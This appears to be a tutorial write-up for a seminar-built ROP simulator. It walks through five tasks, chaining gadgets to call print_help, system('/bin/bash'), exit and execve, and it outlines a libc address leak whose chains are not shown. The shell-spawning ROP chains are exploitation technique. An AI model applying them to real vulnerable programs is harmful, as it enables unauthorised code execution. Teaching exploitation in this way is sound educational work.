ROP-Simulator: A Guide

For my presentation on Return-Oriented Programming (ROP) in the seminar Cops and Robbers, I created a ROP simulator that is designed to teach about ROP in an easier-to-understand way than traditional CTF challenges. I based this off the idea by 0x4d5a in the challenge intro-pwn-3 of CSCG 2022. Here, I want to present and explain the intended solution for the five tasks listed in the repository.

Task 1

Print the help text

When running ./sim, we get the following text:

$ ./sim 
Welcome to the (unofficial) CnR ROP simulator!
Please enter your gadgets below.
Additionally, you can enter double-quoted strings and constants prefixed with $.
The following gadgets are available to you:
0	pop rdi; ret
1	call rax; ret
2	pop rax; ret
3	pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
4	cmp rbp, rbx; jne crash_program; mov rdx, r15; mov rsi, r14; mov edi, r13d; ret
Here are some useful addresses for you:
0x401247	print_help
0x7f98382c7a40	system
0x7f98382bd050	exit
0x7f98382f66f0	puts
0x7f9838359810	execve
>>> 

We know that each token we enter will be placed on the stack, starting from the return address of the main function. Since we want to “print the help text”, we want to call print_help. Since print_help takes no arguments, it is sufficient to overwrite the return address with 0x401247 to print the help text and segfault:

$ ./sim 
Welcome to the (unofficial) CnR ROP simulator!
Please enter your gadgets below.
Additionally, you can enter double-quoted strings and constants prefixed with $.
The following gadgets are available to you:
0	pop rdi; ret
1	call rax; ret
2	pop rax; ret
3	pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
4	cmp rbp, rbx; jne crash_program; mov rdx, r15; mov rsi, r14; mov edi, r13d; ret
Here are some useful addresses for you:
0x401247	print_help
0x7f98382c7a40	system
0x7f98382bd050	exit
0x7f98382f66f0	puts
0x7f9838359810	execve
>>> $0x401247
Welcome to the (unofficial) CnR ROP simulator!
Please enter your gadgets below.
Additionally, you can enter double-quoted strings and constants prefixed with $.
Illegal instruction (core dumped)
$

This is very similar to the things we did in the lecture Internet Security: Overwrite the return address to jump to an arbitrary function. But what about functions taking arguments?

Task 2

Open a shell using system()

The signature of system looks like this:

int system(const char *command);

Therefore, we need to pass one argument to the function. How do we do that in assembly?

This is where calling conventions come in: They specify the translation from API to ABI, e.g. how arguments are passed between functions, which registers are saved by the caller and callee, how the stack should be aligned etc. There is a very useful Wikipedia article on the topic. Since we are on a Linux system on the amd64 architecture, we are using the System V AMD64 ABI. This calling convention specifies that integer arguments (including pointers) are passed in the registers RDI, RSI, RDX, RCX, R8, R9. Therefore, we need to place a pointer to /bin/bash into rdi.

Luckily, we have a gadget we can use: pop rdi; ret (gadget 0). To place a pointer to /bin/bash into rdi, we use the sequence 0 "/bin/bash". This will first make the CPU jump to the gdaget address and then pop the pointer to /bin/bash into rdi. Next, it will return to the next address on the stack.

Where do we go now? Since we have prepared the arguments, we can now return to system. Therefore, if system has the address 0x7fcff193ea40, we can run 0 "/bin/bash" $0x7fcff193ea40.

Stack Alignment

This works on some machines, depending on your implementation of system, on some others (including mine), it segfaults. But why?

This is because the System V ABI requires the stack pointer to be aligned to a 16-byte boundary before issuing a call instruction. This limitation exists due to some CPU instructions that need to operate on 16-byte-aligned addresses. Since call pushes the return address to the stack, we need the hexadecimal rsp to end with 8 at the start of the function. This is violated when we return to system directly, as we can check with gdb. In my case, rsp is 0x7fffffffdc30 when entering system, causing a segfault later on, in the instruction movaps xmmword ptr [rsp + 0x50], xmm0. movaps stands for Move Aligned Packed Single-Precision Floating-Point Values. It makes sense that, when unaligned, this crashes the process.

Stack alignment was not an issue in task 1 since print_help does not use any instructions that require aligning the stack to 16 bytes. Stack alignment is actually a pretty common issue when doing binary exploitation, so knowing about it is valuable when constructing exploits. The solution is to just get the stack aligned by using additional gadgets before calling a function.

Solution

Instead of directly returning to system, we can first fill rax with the address of system using gadget 2, pop rax; ret, and then use gadget 1, call rax. The solution then looks like this:

Please enter your gadgets below.
Additionally, you can enter double-quoted strings and constants prefixed with $.
The following gadgets are available to you:
0	pop rdi; ret
1	call rax; ret
2	pop rax; ret
3	pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
4	cmp rbp, rbx; jne crash_program; mov rdx, r15; mov rsi, r14; mov edi, r13d; ret
Here are some useful addresses for you:
0x401247	print_help
0x7ffff7d73a40	system
0x7ffff7d69050	exit
0x7ffff7da26f0	puts
0x7ffff7e05810	execve
>>> 0 "/bin/bash" 2 $0x7ffff7d73a40 1
$ exit
Segmentation fault (core dumped)
$

This approach should work on all implementations of system().

Task 3

Open a shell and exit with exit code 0

For this task, we can re-use the previous solution as our first part. We just need to add a few things to our stack so that the ret from gadget 1 continues by exiting the program and does not crash it. exit() also takes one integer argument, so we can use 0 $0 2 $0x7ffff7d69050 1 to call exit(0), where 0x7ffff7d69050 is the address of exit(). We can verify that this works by exiting without spawning a shell first.

Now, we can chain system() and exit() and we get the following:

$ ./sim
Welcome to the (unofficial) CnR ROP simulator!
Please enter your gadgets below.
Additionally, you can enter double-quoted strings and constants prefixed with $.
The following gadgets are available to you:
0	pop rdi; ret
1	call rax; ret
2	pop rax; ret
3	pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
4	cmp rbp, rbx; jne crash_program; mov rdx, r15; mov rsi, r14; mov edi, r13d; ret
Here are some useful addresses for you:
0x401247	print_help
0x7fefe2ee2a40	system
0x7fefe2ed8050	exit
0x7fefe2f116f0	puts
0x7fefe2f74810	execve
>>> 0 "/bin/bash" 2 $0x7fefe2ee2a40 1 0 $0 2 $0x7fefe2ed8050 1
$ echo "hi"
hi
$ exit
exit
$ 

Task 4

Open a shell using execve and exit with exit code 0

We first check the call signature of execve:

int execve(const char *path, char *const argv[], char *const envp[]);

Checking the calling conventions, we see that we need to put /bin/bash into rdi. Therefore, we can use 0 "/bin/bash" for the first parameter. Also, it is sufficient to pass NULL as argv and envp, so we need to zero out the registers rsi and rdx. For this, we need gadgets 3 and 4. There, we need to put the right amount of garbage on the stack.

Gadget 3 pops six registers which we can all set to zero, some of which will be moved to other registers in gadget 4. We can set all of these registers to zero, so doing 3 $0 $0 $0 $0 $0 $0 4 gets the job done. The full solution therefore looks like this:

$ ./sim 
Welcome to the (unofficial) CnR ROP simulator!
Please enter your gadgets below.
Additionally, you can enter double-quoted strings and constants prefixed with $.
The following gadgets are available to you:
0	pop rdi; ret
1	call rax; ret
2	pop rax; ret
3	pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
4	cmp rbp, rbx; jne crash_program; mov rdx, r15; mov rsi, r14; mov edi, r13d; ret
Here are some useful addresses for you:
0x401247	print_help
0x7fc7bed07a40	system
0x7fc7becfd050	exit
0x7fc7bed366f0	puts
0x7fc7bed99810	execve
>>> 3 $0 $0 $0 $0 $0 $0 4 0 "/bin/bash" 2 $0x7fc7bed99810 1 0 $0 2 $0x7fc7becfd050 1
$ echo "hi"
hi
$ exit                                                                                                                           
$ 

Task 5

This was intended as a bonus task, you should probably use pwntools for this. The solution needs two ropchains:

This ropchain leaks the address of puts inside libc. This leak can be used to calculate the libc base address and all addresses of libc functions. Now, we can construct another ropchain:

You can read my writeup for a similar challenge, Naughty List for more details.

Conclusion

I encourage you to play around with the simulator to get more familiar with ROP and hope that this writeup helped to understand it a bit better. You can contact me if you have any questions or comments :)